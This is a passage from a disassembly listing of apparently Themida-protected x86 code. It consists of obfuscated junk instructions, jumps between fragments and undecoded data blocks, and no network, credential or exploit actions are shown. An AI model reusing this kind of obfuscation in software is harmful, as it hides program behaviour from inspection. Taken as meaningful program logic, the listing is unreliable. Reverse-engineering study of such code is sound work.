		dd 0E904C483h, 0FFFFA29Dh
; ---------------------------------------------------------------------------


loc_555DA8:				; CODE XREF: Themida_:005560DDj
		sub	dword ptr [esp], 2F13D6Bh
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 50E84187h
		shr	eax, 6
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3C707613h
		and	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 3DD9387Eh
		push	ebp
		jmp	loc_552692
; ---------------------------------------------------------------------------


loc_555DE0:				; CODE XREF: Themida_:0055A9F9j
		xor	esi, 52511B9Dh
		add	ebp, esi
		push	dword ptr [esp]
		jmp	loc_556EF5
; ---------------------------------------------------------------------------


loc_555DF0:				; CODE XREF: Themida_:00554A26j
		push	ebp
		jmp	loc_55278F
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 5DE95C24h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555DFF:				; CODE XREF: Themida_:00553E9Ej
		shl	eax, 5
		jmp	loc_558468
; ---------------------------------------------------------------------------
		db 88h
		dd 24048BE2h, 0FE04C483h, 5E2C0CAh, 8004EAC0h, 0C280B9F2h
		dd 8BD000F8h, 48E92414h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555E27:				; CODE XREF: Themida_:00556811j
		xor	edx, 0BAA1960h
		or	edx, 181755Ch
		add	edx, 3CB74273h
		sub	edx, 2D9983F3h
		sub	edi, edx
		pop	edx
		dec	edi
		jmp	loc_558FA3
; ---------------------------------------------------------------------------
		dd 4C381h, 6E90000h, 31FFFFAEh,	2434FFD0h, 1802E9h, 0E9E2D100h
		dd 0FFFFB15Fh
; ---------------------------------------------------------------------------


loc_555E64:				; CODE XREF: Themida_:0054F713j
		dec	ebp
		add	ebp, 0E8F56F5h
		or	ebp, 1935CE8h
		sub	ebp, 77BFDCD6h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_550069
; ---------------------------------------------------------------------------


loc_555E84:				; CODE XREF: Themida_:00556443j
		push	1DB91861h
		jmp	loc_555BC0
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 2474FF24h, 48F5B04h,	24248B24h, 0E9241489h, 0FFFFBCB9h
		dd 4E56E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555EAA:				; CODE XREF: Themida_:00551D53j
		add	edx, 35E50B5Fh
		jmp	loc_556FFF
; ---------------------------------------------------------------------------


loc_555EB5:				; CODE XREF: Themida_:00558D7Aj
		add	esi, 733E2E54h
		push	ebp
		mov	ebp, 2148555Eh
		dec	ebp
		inc	ebp
		sub	ebp, 0A51B04C3h
		add	esi, ebp
		pop	ebp
		add	eax, 3EA07B0Ah
		jmp	loc_555816
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C38104h, 56000000h,	2BA52h,	0D6890000h, 8BF3015Ah
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55589D
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 11EAE924h, 0CF050000h, 29423A1Bh, 1BCF2DD8h,	1D05423Ah
		dd 565D0B19h, 742C9FBEh, 0C6814E78h, 33BF0551h,	5A57F681h
		dd 6DE9E78Fh, 8900001Ch, 0E8682414h, 89000063h,	4DE92424h
		dd 81FFFFACh, 0EB0872C3h, 83BE90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555F42:				; CODE XREF: Themida_:0055A4C0j
		add	esi, 2B7E1AAEh
		xor	esi, 0EA1C523h
		add	edi, esi
		pop	esi
		sub	eax, 0CB680Bh
		add	eax, 4B990D11h
		add	eax, edi
		sub	eax, 4B990D11h
		add	eax, 0CB680Bh
		jmp	loc_55418B
; ---------------------------------------------------------------------------
		dd 89240C89h, 4C181E1h,	83000000h, 0E1E904C1h, 81000011h
		dd 5D01D7F3h, 0AEEB8114h, 877EE04Eh, 4125E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555F92:				; CODE XREF: Themida_:00551542j
		pop	dword ptr [edi+24h]
		jmp	loc_559296
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4BB24h, 0D8010000h, 0E9241C8Bh, 0FFFFC93Eh, 1422C381h
		dd 0EBC15E61h, 0C6EB8106h, 0E9E4BE3Dh, 0FFFFC595h
; ---------------------------------------------------------------------------


loc_555FC0:				; CODE XREF: Themida_:0055AA66j
		add	ecx, 3813069Fh
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		push	6D97h
		mov	[esp], ebp
		push	6CAE2637h
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 12037A3Ah
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 8
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		push	48E26D70h
		pop	ebp
		and	ebp, 58960518h
		jmp	loc_558600
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0BB24h, 0FB290000h, 2E9DF87h, 89000008h, 0E589242Ch
		dd 4C581h, 0C5830000h, 242C8704h, 4858685Ch, 14890000h
		dd 1685324h, 8B13F109h,	1EE9241Ch, 5AFFFFBDh, 0CB81D3F7h
		dd 43AD22CAh, 0B2EAEB81h, 0D901DFEDh, 6B5E95Bh,	0E9540000h
		dd 0FFFFEACBh
; ---------------------------------------------------------------------------


loc_556060:				; CODE XREF: Themida_:0055028Cj
		sub	eax, 6DB33BD9h
		jmp	loc_555317
; ---------------------------------------------------------------------------
		dw 0EDE9h
		dd 81FFFF89h, 0E05DA2EDh, 0D1ED817Ch, 81351977h, 550678C5h
		dd 3ECD8115h, 0E94D953Fh, 0FFFFDCEFh, 4C481h, 0C7810000h
		dd 4, 5C243C87h, 23AF68h, 240C8900h, 8B3091B9h,	59E1810Bh
		dd 0C11C2130h, 3E908E1h, 0F6000012h, 0E99C241Ch, 0FFFF899Ch
		dd 5203E381h, 0B4E93B98h, 89FFFFEBh, 89E92404h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5560D3:				; CODE XREF: Themida_:0055833Ej
		pop	ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		jmp	loc_555DA8
; ---------------------------------------------------------------------------
		dw 5750h
		dd 7E5860BFh, 247C2959h, 34FF5F04h, 70685A24h, 89000045h
		dd 0E2892414h, 4C281h, 37E90000h, 81000045h, 24533BE7h
		dd 81DFF72Bh, 245227C7h, 5FF80122h, 0E9240487h,	0FFFFA50Ch
		dd 5C243C87h, 5C240487h, 9CC88566h, 0FF892BE9h,	0FEC7B2FFh
		dd 4E2C0C2h, 801BE280h,	0D000BAEAh, 4CA2C5Ah, 0C8EBE9F9h
		dd 0C8BFFFFh, 4C48324h,	4C481h,	0CA680000h, 89000073h
		dd 5B54241Ch, 0FFB402E9h, 1CC281FFh, 0E92AE366h, 0FFFF9B35h
; ---------------------------------------------------------------------------


loc_556170:				; CODE XREF: Themida_:00556A28j
		sub	edx, 3BECBCF9h
		add	ebx, edx
		jmp	loc_554B7F
; ---------------------------------------------------------------------------


loc_55617D:				; CODE XREF: Themida_:00554289j
		mov	ebp, esi
		pop	esi
		sub	ebp, 47526A5h
		neg	ebp
		shl	ebp, 8
		sub	ebp, 238D5BDDh
		sub	ebp, 2B546021h
		mov	edx, ebp
		jmp	loc_5525A3
; ---------------------------------------------------------------------------
		dw 0F300h
		dd 0E9C4C380h, 0FFFFE111h, 0C781E789h, 4, 4519E9h
		db 0
; ---------------------------------------------------------------------------


loc_5561B5:				; CODE XREF: Themida_:00551FFBj
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_553A6D
; ---------------------------------------------------------------------------


loc_5561C1:				; CODE XREF: Themida_:0055148Bj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		jmp	loc_54F98F
; ---------------------------------------------------------------------------


loc_5561CE:				; CODE XREF: Themida_:0055A713j
		add	esi, edi
		push	edi
		mov	edi, 5FB46343h
		neg	edi
		jmp	loc_55A8F0
; ---------------------------------------------------------------------------


loc_5561DD:				; CODE XREF: Themida_:00551702j
		mov	edi, esi
		pop	esi
		add	edi, 597D2E23h
		sub	edi, 718F5604h
		jmp	loc_559006
; ---------------------------------------------------------------------------


loc_5561F1:				; CODE XREF: Themida_:0055A1B5j
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 5EDE3BB6h
		jmp	loc_559EA9
; ---------------------------------------------------------------------------


loc_556201:				; CODE XREF: Themida_:0055471Cj
		add	ecx, 2BFE31A8h
		mov	edi, ecx
		pop	ecx
		shl	edi, 1
		add	edi, 38F51DAAh
		sub	ecx, 3813069Fh
		jmp	loc_55AA64
; ---------------------------------------------------------------------------
		db 0BEh, 0D6h, 48h
		dd 0C6817DB5h, 7BF6829h, 61C6814Eh, 81E65153h, 3225ADC6h
		dd 0E9F001A4h, 0FFFFA2B4h, 1C4F0958h, 592434FFh, 81E78957h
		dd 4C7h, 4BB5300h, 1000000h, 9BE95BDFh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55625B:				; CODE XREF: Themida_:00552916j
		mov	[esp], edx
		push	0BA4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_55591F
; ---------------------------------------------------------------------------
aQWsk		db '-ï%/Wéª/',0
		dd 148B6600h, 0FF545024h, 81582434h, 4C4h, 4B95100h, 0E9000000h
		dd 36Dh
; ---------------------------------------------------------------------------


loc_5562AC:				; CODE XREF: Themida_:00550767j
		mov	edi, edx
		pop	edx
		mov	ebp, 402005Dh
		jmp	loc_5554F5
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
		dd 4EC8156h, 89000000h,	4DE92414h, 1FFFF94h, 88E958C1h
		dd 5B000012h, 81EED14Eh, 0F7CD4F6h, 0B7D9E947h,	0E388FFFFh
		dd 66D83058h, 68241C8Bh, 5060h,	89240489h, 4EC81E0h, 89000000h
		dd 11E9242Ch
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556303:				; CODE XREF: Themida_:00556E73j
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_54F492
; ---------------------------------------------------------------------------
aVSth		db '¾¢',0Ah
		db '-',0Dh,'é’H',0
		dd 21EB8100h, 0E96AD929h, 3230h, 0FA88C788h, 0E92434FFh
		dd 0FFFFA21Bh
; ---------------------------------------------------------------------------


loc_55633C:				; CODE XREF: Themida_:00551CAEj
		shr	eax, 10h
		xor	eax, ecx
		push	773Dh
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_559195
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFF23FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55635D:				; CODE XREF: Themida_:0054EC0Dj
		xor	edi, 4E081A24h
		xor	edx, edi
		pop	edi
		add	edx, 0A96C1AD4h
		jmp	loc_559C35
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E0895024h, 405h, 0B2EDE900h, 34FFFFFFh, 24048B24h
		dd 5304C483h, 645568h, 48F5400h, 24048124h, 4, 4BA525Bh
		dd 1000000h, 52505AD3h,	0F169B4BAh, 0F0C8E96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5563B2:				; CODE XREF: Themida_:0055ADC9j
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5519A5
; ---------------------------------------------------------------------------


loc_5563BE:				; CODE XREF: Themida_:0055109Dj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_559DFC
; ---------------------------------------------------------------------------
		dd 0E8ED8145h, 81D4D493h, 5E41BEEAh, 0F7BF574Bh, 290E4214h
		dd 0E9565FFAh, 2E25h, 8124348Bh, 4C4h, 81CF0100h, 40E92C7h
		dd 4EC8341h, 6ACE9h, 53C98100h,	814EA859h, 56042FC1h, 8BCF2901h
		dd 8957240Ch, 4C781E7h,	83000000h, 3C8704C7h, 0D9E95C24h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556423:				; CODE XREF: Themida_:00558A01j
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	82Ch
		mov	[esp], edx
		mov	edx, 59CF64BBh
		shl	edx, 4
		push	ebp
		push	389Bh
		mov	[esp], esi
		jmp	loc_555E84
; ---------------------------------------------------------------------------
		dd 4C4815Fh, 81000000h,	4C7h, 33E95200h, 81FFFFDEh, 4C6h
		dd 4B85000h, 1000000h, 348758C6h, 0B2525C24h, 0E3B55145h
		dd 0CBE9E828h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55647B:				; CODE XREF: Themida_:00557CECj
		push	4
		jmp	loc_5589FE
; ---------------------------------------------------------------------------


loc_556485:				; CODE XREF: Themida_:00558252j
		xor	ebx, edi
		pop	edi
		jmp	loc_54F9DC
; ---------------------------------------------------------------------------
		db 1, 0CAh, 81h
		dd 0BE6028C2h, 0C2815935h, 93F8D2FAh, 685AD001h, 4786h
		dd 89243489h, 4C681E6h,	53000000h, 4BBh, 5BDE2900h, 5C243487h
		dd 0E9241489h, 0FFFFB747h, 4EC81h, 2C890000h, 0AA685324h
		dd 5B376A36h, 0E3E9D3F7h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5564DB:				; CODE XREF: Themida_:0054F081j
		mov	esp, [esp]
		jmp	loc_553EA9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 87000000h, 835C2414h, 143304C2h, 24143124h
		dd 8B241433h, 3E682424h, 8900007Dh, 0E189240Ch,	1DB1BE56h
		dd 0EE81228Ah, 423F171Ch, 579EE81h, 0F68175EEh,	1DF8376Dh
		dd 1BC0F681h, 0EEC100ABh, 0D7EE8104h, 10770E2h,	24348BF1h
		dd 4C481h, 0E9520000h, 0FFFFA7CEh, 4BBh, 45EA8100h, 5514E002h
		dd 56790ABDh, 3EC8E96Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55655A:				; CODE XREF: Themida_:00551933j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	440E25F0h
		pop	edi
		push	eax
		mov	eax, 430E25F0h
		sub	edi, eax
		jmp	loc_54FFC9
; ---------------------------------------------------------------------------


loc_556580:				; CODE XREF: Themida_:00557CDDj
		push	esi
		jmp	loc_558F92
; ---------------------------------------------------------------------------


loc_556586:				; CODE XREF: Themida_:00556ED5j
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	64C4h
		mov	[esp], ebp
		push	4FEC5E2Eh
		pop	ebp
		push	esi
		mov	esi, 782B5FF4h
		sub	ebp, esi
		pop	esi
		mov	[edi+20h], ebp
		jmp	loc_557BF7
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 51BC1DE3h, 0E3E98159h, 5E51BC1Dh, 48DEC981h,	0E981605Ah
		dd 5282F9Fh, 82E95150h,	0BE00001Dh, 138C7A48h, 0F701C683h
		dd 2E6C1D6h, 4607EEC1h,	9C2AEE81h, 0F0010163h, 8324348Bh
		dd 48904ECh, 5E08924h, 4, 8704C083h, 565C2404h,	2BEh, 66BD2D00h
		dd 0F0015A93h, 9366BD05h, 24348B5Ah, 4381E9h, 28BF5700h
		dd 2946BF2Ch, 0C8015FF8h, 0BF2C2805h, 240C8B46h, 4C481h
		dd 52E90000h, 0ACFFFF93h, 5457D830h, 4C7815Fh, 83000000h
		dd 14E904ECh, 1FFFFECh,	74BF57FBh, 814C9F72h, 400B7EC3h
		dd 51FB2914h, 400B7EB9h, 59CB2914h, 0EBFDE95Fh,	0EB81FFFFh
		dd 236D69DCh, 0B951D329h, 0EAE423Ch, 81D9F749h,	0A2759BC1h
		dd 84E98170h, 13E86C9h,	535659CBh, 0F51B668h, 0C3815B6Dh
		dd 0E5190149h, 0E95BDE89h, 3FEh, 6DAFBB53h, 82E93B33h
		dd 8BFFFFD9h, 8F542424h, 0C5E92404h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5566B7:				; CODE XREF: Themida_:0055230Dj
		mov	esi, 7C76684Fh
		and	esi, 2D6F44CAh
		push	1EAFh
		jmp	loc_5574CD
; ---------------------------------------------------------------------------
		dd 4D06E5C1h, 689BED81h, 0EA2192A1h, 7E2C15Dh, 5002E2C1h
		dd 803FCB8h, 58C23120h,	2F3E9h,	4C68100h, 83000000h, 0E2E904C6h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5566FB:				; CODE XREF: Themida_:0054EEB8j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_553F9F
; ---------------------------------------------------------------------------
		dd 5130EE81h, 80E9CC8Ch, 53FFFFF2h, 4BBh, 8BD90100h, 0C483241Ch
		dd 240C3304h, 0E9240C31h, 0FFFFD426h, 81DF015Bh, 0D6262FC7h
		dd 83FD5B5Ah, 48904ECh,	0AB824h, 68680000h, 89000041h
		dd 0E2E9241Ch, 59FFFFBCh, 348BF701h, 0F936E924h, 8F54FFFFh
		dd 0BD552404h, 4, 4246C01h, 81242C8Bh, 4C4h, 0A1B3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556772:				; CODE XREF: Themida_:0054FFD8j
		and	eax, edx
		mov	edx, [esp]
		push	ecx
		jmp	loc_555289
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0CBh
		dd 0D3ECE951h, 48BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557F93
; ---------------------------------------------------------------------------
		db 89h
		dd 5DE92404h, 0B9FFFFD3h, 175938F0h, 38EEE981h,	0C8011759h
		dd 0F4CE959h, 0C8010000h, 11B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5567B9:				; CODE XREF: Themida_:00553CD1j
		or	edi, 7B0F070Ch
		shr	edi, 8
		jmp	loc_54ECE1
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5002C083h, 0FFA726E9h, 2434FFFFh, 4C4815Fh, 81000000h
		dd 4C7h, 505E900h, 8F640000h, 826EE902h, 0E680FFFFh, 80CEFEAAh
		dd 0F30096EEh, 28DCE9h,	0D1895100h, 0FF86B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556805:				; CODE XREF: Themida_:00552E72j
		and	edi, 5A723B53h
		push	edx
		mov	edx, 225717F9h
		jmp	loc_555E27
; ---------------------------------------------------------------------------


loc_556816:				; CODE XREF: Themida_:00555C3Dj
		not	ecx
		jmp	loc_54F563
; ---------------------------------------------------------------------------
		db 5Bh,	56h, 0BEh
		dd 1820242Eh, 0FFAA9FE9h, 4B8FFh, 0C2010000h, 8324048Bh
		dd 148704C4h, 0C25FE924h, 525AFFFFh, 21E9E688h,	59FFFFE6h
		dd 505EF729h, 0C351CB8h, 6E8C15Bh, 4003E8C1h, 22112B0Dh
		dd 1ABA523Bh, 17F5A4Ch,	2B055AD0h, 81478275h, 0EF2DEBC3h
		dd 81C30140h, 0EF2DEBEBh, 0FB295840h, 5880EB81h, 525F020Ch
		dd 0F34D79BAh, 0C2814271h, 12F00265h, 0E81DEA81h, 0D301631Ch
		dd 1041E9h, 81D7F700h, 7D46B5F7h, 0F85DE901h, 70B6FFFFh
		dd 1C8BFE30h, 4C48124h,	28000000h, 2434FFF0h, 495CE95Ah
		dd 685E0000h, 2402h, 0FFB90CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5568CD:				; CODE XREF: Themida_:00559505j
		add	al, 1Dh
		add	al, 0E0h
		jmp	loc_55797A
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041966h, 8176E99Ch, 8158FFFFh, 4E74E1E5h
		dd 0C7E94572h, 8B000000h, 10E9240Ch, 57000032h,	0FF8C1EE9h
		dd 48F58FFh, 1B65E924h,	0C8890000h, 68240C8Bh, 0E29h, 89242C89h
		dd 4C581E5h, 83000000h,	0CDE904ECh, 89000027h, 0DF682404h
		dd 58608A7Ah, 49113C2Dh, 0FFC7890Dh, 0DDE92434h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55693F:				; CODE XREF: Themida_:00559F0Bj
		mov	ebp, 16D70BD8h
		xor	ebp, 15082EC6h
		neg	ebp
		sub	ebp, 27D17DE4h
		sub	ebp, 3D962943h
		sub	ebp, 96B93397h
		mov	ecx, ebp
		pop	ebp
		add	ecx, 3BC9596Dh
		jmp	loc_557A8F
; ---------------------------------------------------------------------------
		dd 68240C8Bh, 5151h, 0E9240C89h, 0FFFFBCBAh, 2BD55h, 0BE560000h
		dd 117543A8h, 2417C681h, 0BDE905E0h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556993:				; CODE XREF: Themida_:005523BBj
		mov	eax, ecx
		pop	ecx
		xor	ebx, eax
		pop	eax
		not	ebx
		push	ecx
		jmp	loc_5554CB
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0BAh
		dd 29183934h, 0BAC381C3h, 81183934h, 0C172F1EBh, 0B056E926h
		dd 0F581FFFFh, 77062B0Ch, 34FFEF01h, 0FDE95D24h, 0C1FFFF9Fh
		dd 0EAC102E2h, 81D2F702h, 7C36A1EAh, 0E9D729C5h, 0FFFFA1E9h
		dd 8F66E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5569E6:				; CODE XREF: Themida_:00550353j
		neg	ebp
		jmp	loc_559317
; ---------------------------------------------------------------------------
		db 0B9h, 0CDh, 0B5h
		dd 0E9013CB1h, 59CB895Dh, 4246C81h, 3FA87619h, 4245C01h
		dd 4244481h, 3FA87619h,	2404295Bh, 8C242C81h, 0E95F3D01h
		dd 0FFFF8040h, 9BE98AB5h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556A23:				; CODE XREF: Themida_:0054F6AEj
		or	edx, ebx
		pop	ebx
		shr	edx, 1
		jmp	loc_556170
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 69h
		dd 814F0364h, 7D3A8ECBh, 3C23E926h, 0C1810000h,	4, 11DBE9h
		dd 0C4835B00h, 0EF38E904h, 0C181FFFFh, 4, 4BE56h, 0F1010000h
		dd 0DD7E9h, 23E95000h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556A6B:				; CODE XREF: Themida_:00552184j
		mov	[esp], ebx
		pop	ecx
		push	5A40h
		jmp	loc_553117
; ---------------------------------------------------------------------------
		db 30h,	2 dup(24h)
		dd 0FFD199E9h, 1C8758FFh, 0AEE95C24h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556A8B:				; CODE XREF: Themida_:00553DC8j
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 71101919h
		jmp	loc_5543E7
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4D27430Fh, 0FFD09EE9h, 241C89FFh, 0B84187BBh, 0A5BB532Bh
		dd 0E9080F16h, 0FFFFDC65h
; ---------------------------------------------------------------------------


loc_556ABC:				; CODE XREF: Themida_:00550F11j
		xor	[esp], esi
		push	dword ptr [esp]
		jmp	loc_5551ED
; ---------------------------------------------------------------------------
		db 56h
		dd 3337CFBEh, 363FE91Ch, 0C890000h, 81E18924h, 4C1h, 4C18100h
		dd 51000000h, 42474FFh,	24048F59h, 4055Ch, 0C0830000h
		dd 24048704h, 0E924248Bh, 8CDh,	7132F681h, 0F2897B7Ch
		dd 0BFEB815Eh, 297DBF67h, 0BFC381D3h, 5A7DBF67h, 44DCC381h
		dd 0C301618Ch, 8904EC83h, 0DCB9240Ch, 29618C44h, 2434FFCBh
		dd 32E2E959h, 0C2010000h, 0E95A1A31h, 0FFFF9655h
; ---------------------------------------------------------------------------


loc_556B40:				; CODE XREF: Themida_:00558EFEj
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5520A3
; ---------------------------------------------------------------------------
		dw 4C01h
		dd 56590424h, 9938BABEh, 2474292Bh, 0E5E95E04h,	66FFFF7Eh
		dd 53240C8Bh, 215BE954h, 48F0000h, 7ED2E924h, 0EC81FFFFh
		dd 4, 83240C89h, 2C8904ECh, 0DA7FE924h,	0C783FFFFh, 4EC8102h
		dd 89000000h, 74FF243Ch, 8F5F0424h, 665C2404h, 0E924048Fh
		dd 0FFFF7EA0h, 148BD101h, 4C48124h, 29000000h, 0E904244Ch
		dd 1E36h, 8904EC83h, 4BE2434h, 0E9000000h, 288Bh, 24248Bh
		dd 0E99C2404h, 0FFFF7E70h, 7654EF81h, 0C7012163h, 0FF9E48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556BF9:				; CODE XREF: Themida_:0054F100j
		shl	eax, 3
		sub	eax, 615EC37h
		jmp	loc_5552FB
; ---------------------------------------------------------------------------
		dw 0C6FEh
		dd 0FF8114E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556C0D:				; CODE XREF: Themida_:0054F693j
		mov	eax, 7C470404h
		push	ebp
		mov	ebp, 6D91521Eh
		or	ebp, 38451EF0h
		shl	ebp, 3
		or	ebp, 361B2A39h
		not	ebp
		shr	ebp, 6
		xor	ebp, 70B648Eh
		or	eax, ebp
		pop	ebp
		jmp	loc_55AF7F
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 0FF97AAE9h, 2C8153FFh, 7A422724h, 0E9535A58h, 29EDh
		dd 70A7F681h, 41E97FC2h, 53000023h, 1CA8E9h, 0FFC38900h
		dd 48B2434h, 4C48124h, 0E9000000h, 89Fh, 0BB99E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556C7A:				; CODE XREF: Themida_:00552B14j
		sub	ecx, 0FC409E35h
		add	ecx, edi
		push	eax
		push	edx
		mov	edx, 0
		mov	eax, edx
		pop	edx
		add	eax, ecx
		add	[eax], edx
		pop	eax
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_556CAE:				; CODE XREF: Themida_:0054F93Ej
		push	ebx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_55291B
; ---------------------------------------------------------------------------
		dd 2F74B9BDh, 5DEA2924h, 2B8505Fh, 81000000h, 0F2751DEAh
		dd 81C20150h, 0F2751DC2h, 979CE950h, 0F281FFFFh, 35AE1A1Fh
		dd 62E9D2F7h, 5600002Fh, 0FFDEAAE9h, 4C483FFh, 7274C381h
		dd 4CE94C9Fh, 0C0FFFFF9h, 61E903E2h, 66FFFF89h,	68240C8Bh
		dd 543Fh, 0E9240489h, 0FFFFE486h
; ---------------------------------------------------------------------------


loc_556D18:				; CODE XREF: Themida_:005592A2j
		push	6D1Ah
		jmp	loc_552D4F
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 89000000h, 0E9815DEFh, 37B52E4Dh, 0C181F901h, 37B52E4Dh
		dd 83243C8Bh, 0C18304C4h, 240C8702h, 2768E9h
		db 0
; ---------------------------------------------------------------------------


loc_556D49:				; CODE XREF: Themida_:0055A780j
		add	ecx, 4
		jmp	loc_555B23
; ---------------------------------------------------------------------------
		dd 35E98149h, 29856664h, 0EEC159CEh, 0D9BA5203h, 15CB07Ah
		dd 0B7F0E9D6h, 5235FFFFh, 81C31043h, 2D7D8DEAh,	81C2016Ch
		dd 2D7D8DC2h, 1487586Ch, 24248B24h, 9C2424D3h, 316BE9h
		db 0
; ---------------------------------------------------------------------------


loc_556D91:				; CODE XREF: Themida_:0054FA63j
		push	edx
		push	ecx
		jmp	loc_5596FE
; ---------------------------------------------------------------------------


loc_556D98:				; CODE XREF: Themida_:00557221j
		push	edx
		push	esp
		jmp	loc_55074D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C6812424h, 33535AFBh, 0EE81DE01h, 33535AFBh, 4190E9h
		db 0
; ---------------------------------------------------------------------------


loc_556DB5:				; CODE XREF: Themida_:0055A980j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		push	3180h
		mov	[esp], ebx
		jmp	loc_54ECBB
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C240CFEh, 0FF7C83E9h, 48F5FFFh, 24248B24h, 9C240420h
		dd 4115E9h, 3539B900h, 62E9486Eh, 5F000002h, 7A60CB81h
		dd 0C3816E28h, 8D318249h, 0FFB4E4E9h, 24248BFFh, 89242C89h
		dd 75BB53E5h, 0C1493438h, 0B85005E3h, 435F7D05h, 34FFC329h
		dd 12E95824h, 18h, 0EAC058E2h, 13CA8006h, 88BBF280h, 7F20E9D0h
		dd 665CFFFFh, 9C2424D3h, 0FF7C17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556E45:				; CODE XREF: Themida_:0055297Fj
		mov	[esp], eax
		push	58E5h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_556303
; ---------------------------------------------------------------------------


loc_556E78:				; CODE XREF: Themida_:00559B2Ej
		add	eax, 563F4994h
		or	eax, 715B1A41h
		sub	eax, 32F1129Ch
		mov	edi, eax
